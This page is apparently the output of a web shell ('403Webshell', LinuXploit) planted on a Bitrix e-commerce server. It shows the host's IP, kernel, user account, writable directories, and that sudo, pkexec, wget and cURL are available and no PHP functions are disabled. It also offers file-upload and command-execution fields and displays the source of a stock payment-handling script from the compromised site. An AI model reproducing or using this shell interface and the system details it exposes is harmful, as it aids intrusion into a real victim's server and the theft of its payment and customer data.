403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/tools/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/tools/sale_ps_ajax.php
<?php
define("STOP_STATISTICS", true);
define('NO_AGENT_CHECK', true);
define('NOT_CHECK_PERMISSIONS', true);
define("DisableEventsCheck", true);
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

Bitrix\Main\Localization\Loc::loadMessages($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/sale/install/tools/sale_ps_ajax.php');

$result = [];
if (Bitrix\Main\Loader::includeModule("sale"))
{
	$request = Bitrix\Main\Application::getInstance()->getContext()->getRequest();
	$paymentId = (int)$request->get('PAYMENT_ID');
	$paySystemId = (int)$request->get('PAYSYSTEM_ID');

	if ($paymentId <= 0 || $paySystemId <= 0)
	{
		$result = [
			'status' => 'error',
			'errors' => [\Bitrix\Main\Localization\Loc::getMessage('SALE_PS_AJAX_PARAMS_ERROR')]
		];
	}
	else
	{
		$service = Bitrix\Sale\PaySystem\Manager::getObjectById($paySystemId);
		if ($service)
		{
			list($orderId, $paymentId) = Bitrix\Sale\PaySystem\Manager::getIdsByPayment($paymentId, $service->getField('ENTITY_REGISTRY_TYPE'));

			$registry = Bitrix\Sale\Registry::getInstance($service->getField('ENTITY_REGISTRY_TYPE'));
			/** @var Bitrix\Sale\Order $orderClassName */
			$orderClassName = $registry->getOrderClassName();

			$order = $orderClassName::load($orderId);
			if (!Bitrix\Sale\OrderStatus::isAllowPay($order->getField('STATUS_ID')))
			{
				$result = [
					'status' => 'error',
					'errors' => [\Bitrix\Main\Localization\Loc::getMessage('SALE_PS_AJAX_ORDER_PAID_ERROR')]
				];
			}
			else
			{
				$paymentCollection = $order->getPaymentCollection();
				/** @var Bitrix\Sale\Payment $payment */
				$payment = $paymentCollection->getItemById($paymentId);

				if ($returnUrl = $request->get("RETURN_URL"))
				{
					$service->getContext()->setUrl($returnUrl);
				}

				$initResult = $service->initiatePay($payment, $request, Bitrix\Sale\PaySystem\BaseServiceHandler::STRING);
				if ($initResult->isSuccess())
				{
					$result = [
						'status' => 'success',
						'data' => $initResult->getData(),
						'template' => $initResult->getTemplate(),
					];
				}
				else
				{
					$result = [
						'status' => 'error',
						'errors' => $initResult->getErrorMessages(),
						'buyerErrors' => $initResult->getBuyerErrorMessages(),
					];
				}
			}
		}
	}
}

/** @noinspection PhpVariableNamingConventionInspection */
global $APPLICATION;
$APPLICATION->restartBuffer();
header('Content-Type:application/json; charset=UTF-8');

echo Bitrix\Main\Web\Json::encode($result, JSON_UNESCAPED_UNICODE);

\CMain::FinalActions();
die();

Youez - 2016 - github.com/yon3zu
LinuXploit